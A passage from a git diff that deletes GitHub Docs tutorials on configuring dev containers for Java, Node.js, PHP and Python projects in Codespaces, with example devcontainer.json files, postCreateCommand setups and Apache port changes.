with the cursor pointer pointing to the "Open in Browser" option.](/assets/images/help/codespaces/open-port5000-in-browser.png) - -## Step 5: Commit your changes - -{% data reusables.codespaces.committing-link-to-procedure %} - -## Next steps - -You should now be able to add a custom dev container configuration to your own C# (.NET) project. - -{% data reusables.codespaces.next-steps-adding-devcontainer %} diff --git a/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-java-project-for-codespaces.md b/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-java-project-for-codespaces.md deleted file mode 100644 index 3c53bcdf7456..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-java-project-for-codespaces.md +++ /dev/null @@ -1,203 +0,0 @@ ---- -title: Setting up a Java project for GitHub Codespaces -allowTitleToDifferFromFilename: true -shortTitle: Setting up a Java project -intro: 'Get started with a Java project in {% data variables.product.prodname_github_codespaces %} by creating a custom dev container configuration.' -redirect_from: - - /codespaces/getting-started-with-codespaces/getting-started-with-your-java-project-in-codespaces - - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces -versions: - fpt: '*' - ghec: '*' -type: tutorial -topics: - - Codespaces - - Developer - - Set up ---- - -## Introduction - -This guide shows you how to set up an example Java project {% data reusables.codespaces.setting-up-project-intro %} - -## Step 1: Open the project in a codespace - -{% data reusables.getting-started.sign-in-dotcom %} -1. Go to https://github.com/microsoft/vscode-remote-try-java. -{% data reusables.codespaces.use-this-template %} - -When you create a codespace, your project is created on a remote virtual machine that is dedicated to you. By default, the container for your codespace has many languages and runtimes, including Java. It also includes a set of commonly used tools such as Gradle, Maven, git, wget, rsync, openssh, and nano. - -{% data reusables.codespaces.customize-vcpus-and-ram %} - -## Step 2: Add a dev container configuration - -The default development container, or "dev container," for {% data variables.product.prodname_github_codespaces %} will allow you to work successfully on a Java project like [vscode-remote-try-java](https://github.com/microsoft/vscode-remote-try-java). However, we recommend that you configure your own dev container to include all of the tools and scripts your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_github_codespaces %} users in your repository. - -{% data reusables.codespaces.setup-custom-devcontainer %} -{% data reusables.codespaces.command-palette-container %} -1. Type `java` and click the **Java** option. Other options are available if your project uses particular tools. For example, Java & PostgreSQL. - - ![Screenshot of the "Add Dev Container Configuration Files" dropdown with "java" entered in the search field and three Java options listed below.](/assets/images/help/codespaces/add-java-prebuilt-container.png) - -1. Choose the version of Java you want to use for your project. In this case, select the version marked "(default)." - - ![Screenshot of the "Add Dev Container Configuration Files" dropdown listing a variety of Java versions.](/assets/images/help/codespaces/add-java-version.png) - -1. Select the option to **Install Maven** and click **OK**. - - ![Screenshot of the "Add Dev Container Configuration Files" dropdown with the option "Install Maven, a management tool for Java" selected.](/assets/images/help/codespaces/add-maven.png) - -1. A list of additional features you can install is displayed. We'll install Ant, the Java library and command-line tool for building applications. To install this feature, type `ant`, select `Ant (via SDKMAN)`, then click **OK**. - - ![Screenshot of the "Add Dev Container Configuration Files" dropdown with "ant" in the search field and the option "Ant (via SDKMAN)" selected.](/assets/images/help/codespaces/add-ant-feature.png) - -{% data reusables.codespaces.overwrite-devcontainer-config %} -{% data reusables.codespaces.details-of-devcontainer-config %} - -```jsonc -// For format details, see https://aka.ms/devcontainer.json. For config options, see the -// README at: https://github.com/devcontainers/templates/tree/main/src/java -{ - "name": "Java", - // Or use a Dockerfile or Docker Compose file. More info: https://containers.dev/guide/dockerfile - "image": "mcr.microsoft.com/devcontainers/java:0-17", - - "features": { - "ghcr.io/devcontainers/features/java:1": { - "version": "none", - "installMaven": "true", - "installGradle": "false" - }, - "ghcr.io/devcontainers-contrib/features/ant-sdkman:2": {} - } - - // Use 'forwardPorts' to make a list of ports inside the container available locally. - // "forwardPorts": [], - - // Use 'postCreateCommand' to run commands after the container is created. - // "postCreateCommand": "java -version", - - // Configure tool-specific properties. - // "customizations": {}, - - // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root. - // "remoteUser": "root" -} -``` - -{% data reusables.codespaces.devcontainer-properties-1 %} -{% data reusables.codespaces.devcontainer-properties-2 %} - -{% data reusables.codespaces.additional-container-config %} - -## Step 3: Modify your devcontainer.json file - -With your dev container configuration added and a basic understanding of what everything does, you can now make changes to customize your environment further. In this example, you'll add properties that will: -* Run a command, after the dev container is created, to create a new file. -* Automatically install two {% data variables.product.prodname_vscode_shortname %} extensions in this codespace. - -1. In the `devcontainer.json` file, add a comma after the `features` property. - - ```json copy - "features": { - "ghcr.io/devcontainers/features/java:1": { - "version": "none", - "installMaven": "true", - "installGradle": "false" - }, - "ghcr.io/devcontainers-contrib/features/ant-sdkman:2": {} - }, - ``` - -1. Uncomment the `postCreateCommand` property and change its value to `echo \"This file was added by the postCreateCommand.\" > TEMP.md`. - - ```jsonc copy - // Use 'postCreateCommand' to run commands after the container is created. - "postCreateCommand": "echo \"This file was added by the postCreateCommand.\" > TEMP.md", - ``` - -1. Uncomment the `customizations` property and edit it as follows to install the "Code Spell Checker" extension and the "Extension Pack for Java." - - ```jsonc copy - // Configure tool-specific properties. - "customizations": { - // Configure properties specific to VS Code. - "vscode": { - // Add the IDs of extensions you want installed when the container is created. - "extensions": [ - "streetsidesoftware.code-spell-checker", - "vscjava.vscode-java-pack" - ] - } - } - ``` - - The `devcontainer.json` file should now look similar to this, depending on which image you chose: - - ```jsonc - // For format details, see https://aka.ms/devcontainer.json. For config options, see the - // README at: https://github.com/devcontainers/templates/tree/main/src/java - { - "name": "Java", - // Or use a Dockerfile or Docker Compose file. More info: https://containers.dev/guide/dockerfile - "image": "mcr.microsoft.com/devcontainers/java:0-17", - - "features": { - "ghcr.io/devcontainers/features/java:1": { - "version": "none", - "installMaven": "true", - "installGradle": "false" - }, - "ghcr.io/devcontainers-contrib/features/ant-sdkman:2": {} - }, - - // Use 'forwardPorts' to make a list of ports inside the container available locally. - // "forwardPorts": [], - - // Use 'postCreateCommand' to run commands after the container is created. - "postCreateCommand": "echo \"This file was added by the postCreateCommand.\" > TEMP.md", - - // Configure tool-specific properties. - "customizations": { - // Configure properties specific to VS Code. - "vscode": { - // Add the IDs of extensions you want installed when the container is created. - "extensions": [ - "streetsidesoftware.code-spell-checker", - "vscjava.vscode-java-pack" - ] - } - } - - // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root. - // "remoteUser": "root" - } - ``` - -{% data reusables.codespaces.save-changes %} -{% data reusables.codespaces.rebuild-command %} - {% data reusables.codespaces.rebuild-reason %} - - After the dev container is rebuilt, and your codespace becomes available again, the `postCreateCommand` will have been run, creating a `TEMP.md` file, and the two extensions will be available for use. - -## Step 4: Run your application - -1. Run the application by pressing `F5`. -1. If a "toast" notification message is displayed at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, asking whether you want to switch to standard mode, click **Yes**. - - ![Screenshot of the message: "Run/Debug feature requires Java language server to run in Standard mode. Do you want to switch it to Standard mode now?"](/assets/images/help/codespaces/switch-to-standard-mode.png) - -1. When the project files have been imported, click the **Debug Console** tab to see the program output. - - ![Screenshot of program output "Hello Remote World!" in the "Debug Console."](/assets/images/help/codespaces/java-debug-output.png) - -## Step 5: Commit your changes - -{% data reusables.codespaces.committing-link-to-procedure %} - -## Next steps - -You should now be able to add a custom dev container configuration to your own Java project. - -{% data reusables.codespaces.next-steps-adding-devcontainer %} diff --git a/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-nodejs-project-for-codespaces.md b/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-nodejs-project-for-codespaces.md deleted file mode 100644 index 19c4b4cf33a2..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-nodejs-project-for-codespaces.md +++ /dev/null @@ -1,170 +0,0 @@ ---- -title: Setting up a Node.js project for GitHub Codespaces -allowTitleToDifferFromFilename: true -shortTitle: Setting up a Node.js project -intro: 'Get started with a Node.js, JavaScript, or TypeScript project in {% data variables.product.prodname_github_codespaces %} by creating a custom dev container configuration.' -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /codespaces/getting-started-with-codespaces/getting-started-with-your-nodejs-project-in-codespaces - - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces -type: tutorial -topics: - - Codespaces - - Developer - - Set up ---- - -## Introduction - -This guide shows you how to set up an example Node.js project {% data reusables.codespaces.setting-up-project-intro %} - -## Step 1: Open the project in a codespace - -{% data reusables.getting-started.sign-in-dotcom %} -1. Go to https://github.com/microsoft/vscode-remote-try-node. -{% data reusables.codespaces.use-this-template %} - -When you create a codespace, your project is created on a remote virtual machine that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Node.js, JavaScript, and TypeScript. It also includes a common set of tools, such as nvm, npm, yarn, git, wget, rsync, openssh, and nano. - -{% data reusables.codespaces.customize-vcpus-and-ram %} - -## Step 2: Add a dev container configuration - -The default development container, or "dev container," for {% data variables.product.prodname_github_codespaces %} will allow you to work successfully on a Node.js project like [vscode-remote-try-node](https://github.com/microsoft/vscode-remote-try-node). However, we recommend that you configure your own dev container to include all of the tools and scripts your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_github_codespaces %} users in your repository. - -{% data reusables.codespaces.setup-custom-devcontainer %} -{% data reusables.codespaces.command-palette-container %} -1. Type `node` and click **Node.js & JavaScript**. Other options are available if your project uses particular tools. For example, Node and MongoDB. - - ![Screenshot of the "Add Dev Container Configuration Files" dropdown, showing "Node.js & JavaScript" option.](/assets/images/help/codespaces/add-node-devcontainer-config.png) - -1. Choose the version of Node.js you want to use for your project. In this case, select the version marked "(default)." - - ![Screenshot of the "Add Dev Container Configuration Files" dropdown, showing a variety of Node versions, including "18 (default)."](/assets/images/help/codespaces/add-node-version.png) - -1. A list of additional features is displayed. We'll install JSHint, a code quality tool for detecting errors in JavaScript code. To install this tool, type `js`, select `JSHint (via npm)`, then click **OK**. - - ![Screenshot of the "Add Dev Container Configuration Files" dropdown, showing "js" in the text box and "JSHint (via npm)" in the dropdown list.](/assets/images/help/codespaces/add-jshint-config.png) - -{% data reusables.codespaces.overwrite-devcontainer-config %} -{% data reusables.codespaces.details-of-devcontainer-config %} - -```jsonc -// For format details, see https://aka.ms/devcontainer.json. For config options, see the -// README at: https://github.com/devcontainers/templates/tree/main/src/javascript-node -{ - "name": "Node.js", - // Or use a Dockerfile or Docker Compose file. More info: https://containers.dev/guide/dockerfile - "image": "mcr.microsoft.com/devcontainers/javascript-node:0-18-bullseye", - "features": { - "ghcr.io/devcontainers-contrib/features/jshint:2": {} - } - - // Features to add to the dev container. More info: https://containers.dev/features. - // "features": {}, - - // Use 'forwardPorts' to make a list of ports inside the container available locally. - // "forwardPorts": [], - - // Use 'postCreateCommand' to run commands after the container is created. - // "postCreateCommand": "yarn install", - - // Configure tool-specific properties. - // "customizations": {}, - - // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root. - // "remoteUser": "root" -} -``` - -{% data reusables.codespaces.devcontainer-properties-1 %} -{% data reusables.codespaces.devcontainer-properties-2 %} -{% data reusables.codespaces.additional-container-config %} - -## Step 3: Modify your devcontainer.json file - -With your dev container configuration added and a basic understanding of what everything does, you can now make changes to customize your environment further. In this example, you'll add properties that will: -* Run `npm install`, after the dev container is created, to install the dependencies listed in the `package.json` file. -* Automatically install a {% data variables.product.prodname_vscode_shortname %} extension in this codespace. - -{% data reusables.codespaces.add-comma-after-features %} - - ```json copy - "features": { - "ghcr.io/devcontainers-contrib/features/jshint:2": {} - }, - - // Features to add to the dev container. More info: https://containers.dev/features. - // "features": {}, - ``` - -1. Uncomment the `postCreateCommand` property and assign it the command `npm install`. - - ```jsonc copy - // Use 'postCreateCommand' to run commands after the container is created. - "postCreateCommand": "npm install", - ``` - -{% data reusables.codespaces.add-extension-to-devcontainer %} - - ```jsonc - // README at: https://github.com/devcontainers/templates/tree/main/src/javascript-node - { - "name": "Node.js", - // Or use a Dockerfile or Docker Compose file. More info: https://containers.dev/guide/dockerfile - "image": "mcr.microsoft.com/devcontainers/javascript-node:0-18-bullseye", - "features": { - "ghcr.io/devcontainers-contrib/features/jshint:2": {} - }, - - // Use 'forwardPorts' to make a list of ports inside the container available locally. - // "forwardPorts": [], - - // Use 'postCreateCommand' to run commands after the container is created. - "postCreateCommand": "npm install", - - // Configure tool-specific properties. - "customizations": { - // Configure properties specific to VS Code. - "vscode": { - // Add the IDs of extensions you want installed when the container is created. - "extensions": [ - "streetsidesoftware.code-spell-checker" - ] - } - } - - // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root. - // "remoteUser": "root" - } - ``` - -{% data reusables.codespaces.save-changes %} -{% data reusables.codespaces.rebuild-command %} - {% data reusables.codespaces.rebuild-reason %} - - After the dev container is rebuilt, and your codespace becomes available again, the `postCreateCommand` will have been run, installing npm, and the "Code Spell Checker" extension will be available for use. - -## Step 4: Run your application - -In the previous section, you used the `postCreateCommand` to install a set of packages via the `npm install` command. With the dependencies now installed, you can run the application. - -1. In the Terminal of your codespace, enter `npm start`. - - ![Screenshot of running "npm start" in the Terminal. The final output reads "Running on http://0.0.0.0:3000."](/assets/images/help/codespaces/codespaces-npmstart.png) - -1. When your project starts, you should see a "toast" notification message at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, telling you that your application is available on a forwarded port. To view the running application, click **Open in Browser**. - - ![Screenshot of the port forwarding message, reading "Your application running on port 3000 is available." The "Open in Browser" button is also shown.](/assets/images/help/codespaces/codespaces-port3000-toast.png) - -## Step 5: Commit your changes - -{% data reusables.codespaces.committing-link-to-procedure %} - -## Next steps - -You should now be able to add a custom dev container configuration to your own Node.js, JavaScript, or TypeScript project. - -{% data reusables.codespaces.next-steps-adding-devcontainer %} diff --git a/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-php-project-for-codespaces.md b/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-php-project-for-codespaces.md deleted file mode 100644 index 1417e2418c0b..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-php-project-for-codespaces.md +++ /dev/null @@ -1,200 +0,0 @@ ---- -title: Setting up a PHP project for GitHub Codespaces -allowTitleToDifferFromFilename: true -shortTitle: Setting up a PHP project -intro: 'Get started with a PHP project in {% data variables.product.prodname_github_codespaces %} by creating a custom dev container configuration.' -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /codespaces/getting-started-with-codespaces/getting-started-with-your-php-project-in-codespaces - - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-php-project-for-codespaces -type: tutorial -topics: - - Codespaces - - Developer - - Set up ---- - -## Introduction - -This guide shows you how to set up an example PHP project {% data reusables.codespaces.setting-up-project-intro %} - -## Step 1: Open the project in a codespace - -{% data reusables.getting-started.sign-in-dotcom %} -1. Go to https://github.com/microsoft/vscode-remote-try-php. -{% data reusables.codespaces.use-this-template %} - -When you create a codespace, your project is created on a remote virtual machine that is dedicated to you. By default, the container for your codespace has many languages and runtimes including PHP. It also includes a common set of tools, such as Composer, XDebug, Apache, pecl, nvm, git, lynx, and curl. - -{% data reusables.codespaces.customize-vcpus-and-ram %} - -## Step 2: Add a dev container configuration - -The default development container, or "dev container," for {% data variables.product.prodname_github_codespaces %} will allow you to work successfully on a PHP project like [vscode-remote-try-php](https://github.com/microsoft/vscode-remote-try-php). However, we recommend that you configure your own dev container to include all of the tools and scripts your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_github_codespaces %} users in your repository. - -{% data reusables.codespaces.setup-custom-devcontainer %} -{% data reusables.codespaces.command-palette-container %} - -1. Type `php` and click **PHP**. Other options are available if your project uses particular tools. For example, **PHP & MariaDB**. - -1. Choose the version of PHP you want to use for your project. In this case, select the version marked "(default)." - -1. A list of additional features you can install is displayed. We'll install {% data variables.product.prodname_cli %}, a tool for interacting with {% data variables.product.prodname_dotcom %} from the command line. To install this tool, type `github`, select `{% data variables.product.prodname_cli %}`, then click **OK**, then select **Keep defaults**. - -{% data reusables.codespaces.overwrite-devcontainer-config %} -{% data reusables.codespaces.details-of-devcontainer-config %} - -```jsonc -// For format details, see https://aka.ms/devcontainer.json. For config options, see the -// README at: https://github.com/devcontainers/templates/tree/main/src/php -{ - "name": "PHP", - // Or use a Dockerfile or Docker Compose file. More info: https://containers.dev/guide/dockerfile - "image": "mcr.microsoft.com/devcontainers/php:1-8.2-bullseye", - - // Features to add to the dev container. More info: https://containers.dev/features. - // "features": {}, - - // Configure tool-specific properties. - // "customizations": {}, - - // Use 'forwardPorts' to make a list of ports inside the container available locally. - "forwardPorts": [ - 8080 - ], - "features": { - "ghcr.io/devcontainers/features/github-cli:1": {} - } - - // Use 'postCreateCommand' to run commands after the container is created. - // "postCreateCommand": "sudo chmod a+x \"$(pwd)\" && sudo rm -rf /var/www/html && sudo ln -s \"$(pwd)\" /var/www/html" - - // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root. - // "remoteUser": "root" -} -``` - -{% data reusables.codespaces.devcontainer-properties-1 %} -{% data reusables.codespaces.devcontainer-properties-2 %} -{% data reusables.codespaces.additional-container-config %} - -## Step 3: Modify your devcontainer.json file - -With your dev container configuration added and a basic understanding of what everything does, you can now make changes to customize your environment further. In this example, you'll add properties that will: - -* Run `composer install`, after the dev container is created, to install the dependencies listed in a `composer.json` file. -* Automatically install a {% data variables.product.prodname_vscode_shortname %} extension in this codespace. - -1. In the `devcontainer.json` file, delete the two commented-out lines about features: - - ```jsonc - // Features to add to the dev container. More info: https://containers.dev/features. - // "features": {}, - ``` - -1. Edit the `customizations` property as follows to install the "Composer" extension. - - ```jsonc copy - // Configure tool-specific properties. - "customizations": { - // Configure properties specific to VS Code. - "vscode": { - "extensions": [ - "ikappas.composer" - ] - } - }, - ``` - -1. Add a comma after the `features` property. - - ```json - "features": { - "ghcr.io/devcontainers/features/github-cli:1": {} - }, - ``` - -1. Uncomment the `postCreateCommand` property and add some text to the end to run the command `composer install` if a `composer.json` file exists. (The existing commands are just some setup procedures that allow Apache to access the files in the workspace.) - - ```jsonc copy - // Use 'postCreateCommand' to run commands after the container is created. - "postCreateCommand": "sudo chmod a+x \"$(pwd)\" && sudo rm -rf /var/www/html && sudo ln -s \"$(pwd)\" /var/www/html; if [ -f composer.json ];then composer install;fi" - ``` - - The `devcontainer.json` file should now look similar to this, depending on which image you chose: - - ```jsonc - // For format details, see https://aka.ms/devcontainer.json. For config options, see the - // README at: https://github.com/devcontainers/templates/tree/main/src/php - { - "name": "PHP", - // Or use a Dockerfile or Docker Compose file. More info: https://containers.dev/guide/dockerfile - "image": "mcr.microsoft.com/devcontainers/php:1-8.2-bullseye", - - // Configure tool-specific properties. - "customizations": { - // Configure properties specific to VS Code. - "vscode": { - "extensions": [ - "ikappas.composer" - ] - } - }, - - // Use 'forwardPorts' to make a list of ports inside the container available locally. - "forwardPorts": [ - 8080 - ], - "features": { - "ghcr.io/devcontainers/features/github-cli:1": {} - }, - - // Use 'postCreateCommand' to run commands after the container is created. - "postCreateCommand": "sudo chmod a+x \"$(pwd)\" && sudo rm -rf /var/www/html && sudo ln -s \"$(pwd)\" /var/www/html; if [ -f composer.json ];then composer install;fi" - - // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root. - // "remoteUser": "root" - } - ``` - -{% data reusables.codespaces.save-changes %} -{% data reusables.codespaces.rebuild-command %} - {% data reusables.codespaces.rebuild-reason %} - - After the dev container is rebuilt, and your codespace becomes available again, the `postCreateCommand` will have been run, installing any Composer dependencies, and the "Composer" extension will be available for use. - -## Step 4: Run your application - -In the previous section, you modified the `postCreateCommand` to install a set of packages via the `composer install` command. With the dependencies now installed, you can run the application. However, in this scenario we first need to change the ports that Apache will listen on. We're forwarding port 8080, so we'll instruct Apache to use this port rather than the default port 80. - -1. In the Terminal of your codespace, enter: - - ```shell copy - sudo sed -i 's/Listen 80$//' /etc/apache2/ports.conf - ``` - -1. Then, enter: - - ```shell copy - sudo sed -i 's/<VirtualHost \*:80>/ServerName 127.0.0.1\n<VirtualHost \*:8080>/' /etc/apache2/sites-enabled/000-default.conf - ``` - -1. Then start Apache using its control tool: - - ```shell copy - apache2ctl start - ``` - -1. When your project starts, you should see a "toast" notification message at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, telling you that your application is available on a forwarded port. To view the running application, click **Open in Browser**. - -## Step 5: Commit your changes - -{% data reusables.codespaces.committing-link-to-procedure %} - -## Next steps - -You should now be able to add a custom dev container configuration to your own PHP project. - -{% data reusables.codespaces.next-steps-adding-devcontainer %} diff --git a/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-python-project-for-codespaces.md b/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-python-project-for-codespaces.md deleted file mode 100644 index b37529103c1c..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-python-project-for-codespaces.md +++ /dev/null @@ -1,172 +0,0 @@ ---- -title: Setting up a Python project for GitHub Codespaces -allowTitleToDifferFromFilename: true -shortTitle: Setting up a Python project -intro: 'Get started with a Python project in {% data variables.product.prodname_github_codespaces %} by creating a custom dev container configuration.' -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /codespaces/getting-started-with-codespaces/getting-started-with-your-python-project-in-codespaces - - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces -type: tutorial -topics: - - Codespaces - - Developer - - Set up ---- - -## Introduction - -This guide shows you how to set up an example Python project {% data reusables.codespaces.setting-up-project-intro %} - -## Step 1: Open the project in a codespace - -{% data reusables.getting-started.sign-in-dotcom %} -1. Go to https://github.com/microsoft/vscode-remote-try-python. -{% data reusables.codespaces.use-this-template %} - -When you create a codespace, your project is created on a remote virtual machine that is dedicated to you. By default, the container for your codespace has many languages and runtimes, including Python. It also includes a common set of tools like git, wget, rsync, openssh, and nano. - -{% data reusables.codespaces.customize-vcpus-and-ram %} - -## Step 2: Add a dev container configuration - -The default development container, or "dev container," for {% data variables.product.prodname_github_codespaces %} comes with the latest Python version, package managers (pip, Miniconda), and other common tools preinstalled. However, we recommend that you configure your own dev container to include all of the tools and scripts your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_github_codespaces %} users in your repository. - -{% data reusables.codespaces.setup-custom-devcontainer %} -{% data reusables.codespaces.command-palette-container %} -1. Start typing `python` and click **Python 3** in the list. Other options are available if your project uses particular tools. For example, Python 3 & PostgreSQL. - - ![Screenshot of the "Add Dev Container Configuration Files" dropdown, listing options for Python.](/assets/images/help/codespaces/add-python-prebuilt-container.png) - -1. Choose the version of Python you want to use for your project. In this case, select the version marked "(default)." - - ![Screenshot of the "Add Dev Container Configuration Files" dropdown, listing various versions of Python 3.](/assets/images/help/codespaces/add-python-version.png) - -1. A list of additional features is displayed. We'll install Coverage.py, a code coverage tool for Python. To install this tool, type `py`, select `Coverage.py (via pipx)`, then click **OK**. - - ![Screenshot of the "Add Dev Container Configuration Files" dropdown, with "Coverage.py" selected.](/assets/images/help/codespaces/add-python-features.png) - -{% data reusables.codespaces.overwrite-devcontainer-config %} -{% data reusables.codespaces.details-of-devcontainer-config %} - -```jsonc -// For format details, see https://aka.ms/devcontainer.json. For config options, see the -// README at: https://github.com/devcontainers/templates/tree/main/src/python -{ - "name": "Python 3", - // Or use a Dockerfile or Docker Compose file. More info: https://containers.dev/guide/dockerfile - "image": "mcr.microsoft.com/devcontainers/python:0-3.11-bullseye", - "features": { - "ghcr.io/devcontainers-contrib/features/coverage-py:2": {} - } - - // Features to add to the dev container. More info: https://containers.dev/features. - // "features": {}, - - // Use 'forwardPorts' to make a list of ports inside the container available locally. - // "forwardPorts": [], - - // Use 'postCreateCommand' to run commands after the container is created. - // "postCreateCommand": "pip3 install --user -r requirements.txt", - - // Configure tool-specific properties. - // "customizations": {}, - - // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root. - // "remoteUser": "root" -} -``` - -{% data reusables.codespaces.devcontainer-properties-1 %} -{% data reusables.codespaces.devcontainer-properties-2 %} - -{% data reusables.codespaces.additional-container-config %} - -## Step 3: Modify your devcontainer.json file - -With your dev container configuration added and a basic understanding of what everything does, you can now make changes to customize your environment further. In this example, you'll add properties that will: -* Install a package required by the application. -* Install a {% data variables.product.prodname_vscode_shortname %} extension in this codespace. - -{% data reusables.codespaces.add-comma-after-features %} - - ```json copy - "features": { - "ghcr.io/devcontainers-contrib/features/coverage-py:2": {} - }, - - // Features to add to the dev container. More info: https://containers.dev/features. - // "features": {}, - ``` - -1. Uncomment the `postCreateCommand` property. - - ```jsonc copy - // Use 'postCreateCommand' to run commands after the container is created. - "postCreateCommand": "pip3 install --user -r requirements.txt", - ``` - -{% data reusables.codespaces.add-extension-to-devcontainer %} - - ```jsonc - // For format details, see https://aka.ms/devcontainer.json. For config options, see the - // README at: https://github.com/devcontainers/templates/tree/main/src/python - { - "name": "Python 3", - // Or use a Dockerfile or Docker Compose file. More info: https://containers.dev/guide/dockerfile - "image": "mcr.microsoft.com/devcontainers/python:0-3.11-bullseye", - "features": { - "ghcr.io/devcontainers-contrib/features/coverage-py:2": {} - }, - - // Use 'forwardPorts' to make a list of ports inside the container available locally. - // "forwardPorts": [], - - // Use 'postCreateCommand' to run commands after the container is created. - "postCreateCommand": "pip3 install --user -r requirements.txt", - - // Configure tool-specific properties. - "customizations": { - // Configure properties specific to VS Code. - "vscode": { - // Add the IDs of extensions you want installed when the container is created. - "extensions": [ - "streetsidesoftware.code-spell-checker" - ] - } - } - - // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root. - // "remoteUser": "root" - } - ``` - -{% data reusables.codespaces.save-changes %} -{% data reusables.codespaces.rebuild-command %} - {% data reusables.codespaces.rebuild-reason %} - - After the dev container is rebuilt, and your codespace becomes available again, the `postCreateCommand` will have been run, installing the package listed in the `requirements.txt` file, and the "Code Spell Checker" extension will be available for use. - -## Step 4: Run your application - -In the previous section, you used the `postCreateCommand` to install a package for the Flask web framework. You can now use this to run the web application. - -1. In the Terminal of your codespace, enter `python -m flask run`. - - ![Screenshot of the Terminal tab with the command "python -m flask run" entered, and output including "Running on http://127.0.0.1:5000."](/assets/images/help/codespaces/python-flask-run.png) - -1. When your project starts, you should see a "toast" notification message at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, telling you that your application is available on a forwarded port. To view the running application, click **Open in Browser**. - - ![Screenshot of the port forwarding message, reading "Your application running on port 5000 is available." The "Open in Browser" button is also shown.](/assets/images/help/codespaces/codespaces-port5000-toast.png) - -## Step 5: Commit your changes - -{% data reusables.codespaces.committing-link-to-procedure %} - -## Next steps - -You should now be able to add a custom dev container configuration to your own Python project. - -{% data reusables.codespaces.next-steps-adding-devcontainer %} diff --git a/content/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/adding-features-to-a-devcontainer-file.md b/content/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/adding-features-to-a-devcontainer-file.md deleted file mode 100644 index 7976a527c37b..000000000000 --- a/content/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/adding-features-to-a-devcontainer-file.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Adding features to a devcontainer.json file -shortTitle: Adding features -intro: 'With features, you can quickly add tools, runtimes, or libraries to your dev container configuration.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Set up -redirect_from: - - /codespaces/setting-up-your-project-for-codespaces/adding-features-to-a-devcontainer-file ---- - -{% data reusables.codespaces.about-features %} Use the tabs in this article to display instructions for each of these ways of adding features. - -## Adding features to a `devcontainer.json` file - -{% webui %} - -1. Navigate to your repository on {% data variables.product.github %}, find your `devcontainer.json` file, and click {% octicon "pencil" aria-label="Edit this file" %} to edit the file. - - If you don't already have a `devcontainer.json` file, you can create one now. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#creating-a-custom-dev-container-configuration). -1. To the right of the file editor, in the **Marketplace** tab, browse or search for the feature you want to add, then click the name of the feature. - - ![Screenshot of the "Marketplace" tab with "Terra" in the search box and the Terraform feature listed in the search results.](/assets/images/help/codespaces/feature-marketplace.png) - -1. Under "Installation," click the code snippet to copy it to your clipboard, then paste the snippet into the `features` object in your `devcontainer.json` file. - - ![Screenshot of the "Marketplace" tab showing the installation code snippet for Terraform.](/assets/images/help/codespaces/feature-installation-code.png) - - ```jsonc - "features": { - // ... - "ghcr.io/devcontainers/features/terraform:1": {}, - // ... - } - ``` - -1. By default, the latest version of the feature will be used. To choose a different version, or configure other options for the feature, expand the properties listed under "Options" to view the available values, then add the options by manually editing the object in your `devcontainer.json` file. - - ![Screenshot of the "Options" section of the "Marketplace" tab, with the "version" and "tflint" properties expanded.](/assets/images/help/codespaces/feature-options.png) - - ```jsonc - "features": { - // ... - "ghcr.io/devcontainers/features/terraform:1": { - "version": "1.1", - "tflint": "latest" - }, - // ... - } - ``` - -1. Commit the changes to your `devcontainer.json` file. - -The configuration changes will take effect in new codespaces created from the repository. To make the changes take effect in existing codespaces, you will need to pull the updates to the `devcontainer.json` file into your codespace, then rebuild the container for the codespace. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace). - -{% endwebui %} - -{% vscode %} - -> [!NOTE] -> To add features in {% data variables.product.prodname_vscode_shortname %} while you are working locally, and not connected to a codespace, you must have the "Dev Containers" extension installed and enabled. For more information about this extension, see the [{% data 